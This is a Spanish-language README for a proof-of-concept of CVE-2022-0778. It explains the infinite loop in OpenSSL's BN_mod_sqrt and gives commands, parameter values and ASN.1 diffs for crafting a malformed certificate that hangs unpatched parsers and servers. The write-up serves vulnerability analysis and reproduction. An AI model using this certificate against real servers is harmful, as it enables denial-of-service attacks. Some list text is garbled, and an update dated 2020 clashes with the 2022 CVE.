
Exploit de prueba de concepto para CVE-2022-0778, que demuestra un bucle infinito en BN_mod_sqrt de OpenSSL mediante un certificado X.509 manipulado con parámetros de curva no primos, lo que permite ataques de denegación de servicio.
La vulnerabilidad descubierta provoca un bucle infinito en la función BN_mod_sqrt() de OpenSSL al analizar una clave de curva elíptica. Esto significa que un certificado X.509 manipulado de forma maliciosa puede provocar un DoS en cualquier servidor sin parchear.
El núcleo de la vulnerabilidad está en el análisis de claves EC con puntos en formato comprimido: al analizar este tipo de claves, OpenSSL intentará expandir el punto comprimido, tratando de calcular una raíz cuadrada módulo el primo p sobre el que está definida la curva. Sin embargo, la primalidad de p no se comprueba en ningún sitio, ni siquiera en BN_mod_sqrt(), para la cual es un requisito; por lo tanto, un error en la implementación provocará un bucle infinito debido a que p no es primo como se esperaba.
La explicación en chino está disponible en mi blog OpenSSL CVE-2022-0778: reproducción del problema y construcción de certificados no válidos
BN_mod_sqrt()El requisito previo es tener instalados gcc y una versión vulnerable de OpenSSL.
Para el error en BN_mod_sqrt(): compila con gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, ejecuta ./my_bad_sqrt y observa cómo se cuelga para siempre. :D
Con un certificado: ejecuta openssl x509 -in certs/cert.der.new -inform DER -text -noout en la línea de comandos; esto también se cuelga.
La función BN_mod_sqrt() implementa el algoritmo de Tonelli-Shanks para encontrar una raíz cuadrada modular, es decir, dado un entero a y un número primo p, devuelve un valor r tal que r^2 == a (mod p).
Al analizar el commit que parchea la vulnerabilidad, vemos que el culpable es el bucle que encuentra el índice más pequeño i para el cual b^(2^i)==1 (mod p), donde b se define antes en el algoritmo.
El bucle se cambia de
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
a
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
En el segundo caso, hay un bucle for limitado por la variable e; en el código original, sin embargo, solo hay una comprobación del caso i==e dentro de un bucle while.
Dado que estos bucles están dentro de un bucle mayor que en cada iteración establece el nuevo valor de e al valor actual de i, probamos la siguiente estrategia de ataque:
i=1 al final; para ello, necesitamos que b^2=1 (mod p).e=1, y si podemos entrar en el bucle interno, la comprobación i==e siempre fallarát != 1 (mod p), entonces permaneceremos en el bucle para siempreObserva que los dos primeros pasos pueden ocurrir en una ejecución "normal", es decir, con un primo p. Sin embargo, si p es compuesto, ¡también podemos satisfacer el tercer paso!
El algoritmo de Tonelli-Shanks funciona escribiendo p - 1 = 2^e * q, con q impar. Este es también el orden del grupo multiplicativo de los enteros módulo p, y los valores e y q se usarán muchas veces durante la ejecución; sin embargo, si p no es primo, el orden del grupo multiplicativo no será p-1, y esto nos ayudará a entrar en el bucle infinito.
En particular, b se inicializa como b = a^q (mod p), lo que significa que si p fuera primo, entonces b tendría orden una potencia de 2, que luego encontraremos usando el bucle.
Pero si establecemos p = r * s, el orden del grupo multiplicativo es (r-1)*(s-1) = r*s - r - s + 1 en lugar de r*s-1. El algoritmo usa el valor de q para obtener un elemento y de orden exactamente 2^e; sin embargo, cuando p no es primo, el valor de q no tendrá un significado especial para el orden, por lo que el elemento y no tendrá orden una potencia de dos módulo p=r*s.
Dado que al final del primer bucle externo b se establece como b = b*y^(e-i) (mod p), en su segunda iteración el bucle interno intentará encontrar un valor i para el cual b^(2^i) == 1 (mod p), pero fallará dado que y ya no está garantizado que tenga orden una potencia de dos.
Los números en el exploit son muy simples: tomamos r=17,s=41, lo que da p=r*s=697. Esto significa que los valores calculados de e y q serán p-1 = 2^3 * 87.
Luego elegimos a=696, lo que significa que a == -1 (mod p) y también b == -1 (mod p) cuando se inicializa. Esto satisfará el paso 1 estableciendo e=1 para el siguiente bucle externo.
Entonces b se establecerá como un elemento con orden que no es una potencia de 2, y el bucle interno se quedará atascado tratando de encontrar un i para el cual b^(2^i)==1 (mod p).
Bien, ahora vamos a construir un certificado peligroso que contenga parámetros de curva explícitos no válidos con un punto base codificado en formato comprimido.
Los archivos de esta sección están en la carpeta certs.
Primero, necesitamos crear una clave privada EC. Como queremos un certificado objetivo con parámetros de curva explícitos, la clave también debe contener parámetros de curva explícitos.
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
Luego, por conveniencia, firmamos automáticamente un certificado y lo generamos en formato DER.
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
Veamos la información del certificado. Contiene parámetros de curva explícitos como se esperaba.
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
Ahora necesitamos modificar los valores de estos parámetros: Prime, A, B, Generator. Satisfacen la ecuación siguiente
donde p es el Prime, a es el parámetro A, y b es el parámetro B. p, a, b juntos determinan una curva. Descomprimir un punto significa calcular la coordenada Y a partir de la coordenada X correspondiente.
Obviamente, se debe utilizar la operación de raíz cuadrada modular, que llamará a BN_mod_sqrt().
Basándonos en el trabajo de drago-96, tomamos p=697, x^3+ax+b=696. Y entonces solo necesitamos elegir a, b, x apropiados que satisfagan la segunda ecuación. Aquí tomamos x=8, a=23, b=0.
Bien, ahora podemos empezar a abordar el certificado. Editar la estructura ASN.1 manualmente es realmente terrible. Usé la herramienta xxd para transformar el certificado a formato hexadecimal, y luego lo edité con vim. Después de completar la edición, lo transformé de vuelta con xxd -r.
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new
No encontré una herramienta más cómoda. Si alguien conoce una, por favor, que la comparta en los comentarios.
Los pasos para construirlo son aproximadamente los siguientes:
ASN1_INTEGER, el Prime no debe contener bytes 0 a la izquierda, por lo que tenemos que cambiar la longitud del Primexxd -r. Elimínalo.Ahora, echemos un vistazo a la estructura ASN.1 del certificado normal. Las partes marcadas con la línea roja son las que deben cambiarse.
$ openssl asn1parse -in cert.der -inform DER -i

Las longitudes antes y después de la modificación son las siguientes:
| desde(dec) | desde(hex) | hasta(dec) | hasta(hex) |
|---|---|---|---|
| 549 | 225 | 488 | 1e8 |
| 460 | 1cc | 399 | 18f |
| 266 | 10a | 205 | cd |
| 227 | e3 | 166 | a6 |
| 215 | d7 | 154 | 9a |
| 44 | 2c | 13 | 0d |
| 33 Prime | 21 | 2 | 02 |
| 33 Generator | 21 | 3 | 03 |
Actualizado el 2020-03-21:
Una forma mucho más fácil es usar la herramienta asn1template escrita por wllm-rbnt.
Clona el repositorio:
$ git clone https://github.com/wllm-rbnt/asn1template.git
Genera una plantilla DER a partir de este certificado:
$ ./asn1template/asn1template.pl cert.der > cert.tpl
Luego cambia los parámetros que acabamos de mencionar arriba:
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
Conviértelo de nuevo a ASN1 codificado en DER con ASN1_generate_nconf(3):
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
El resultado cert_new.der es equivalente a la versión editada manualmente.
Así que ahora hemos construido con éxito un certificado no válido. Veamos la nueva estructura ASN.1
$ openssl asn1parse -in cert.der.new -inform DER -i

Todas las partes rojas han sido modificadas, y el certificado puede decodificarse correctamente en DER.
Ahora intentemos analizar el certificado. El proceso entrará en el bucle infinito si todo es como se espera.
openssl x509 -in cert.der.new -inform DER -text -noout

Como se muestra, el %CPU del proceso openssl es 100, y la pila de llamadas está dentro de BN_mod_sqrt().
Si un atacante malicioso envía un certificado manipulado de este tipo durante el handshake SSL con el servidor, el servidor entrará en el bucle infinito, lo que provoca un ataque DoS.
Intentaremos construir un certificado usando la biblioteca C libcrypto de OpenSSL.
Como hemos visto, necesitamos usar una curva con campo base no primo y codificar los puntos en formato comprimido, de modo que al analizarla encontremos el error en BN_mod_sqrt().
Esto se puede hacer estableciendo y^2 = x^3 + 1*x + 694 (mod 697) como la curva, con (1, 132) como generador; esto llamará a BN_mod_sqrt() con exactamente los mismos parámetros que my_bad_sqrt.
Ejecutar gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group generará el archivo my_bad_group.der que contiene los ECparams en formato DER.
Intentar analizar esos parámetros con OpenSSL dará como resultado el bucle infinito: openssl ecparam -in my_bad_group.der -inform der.
... WIP ...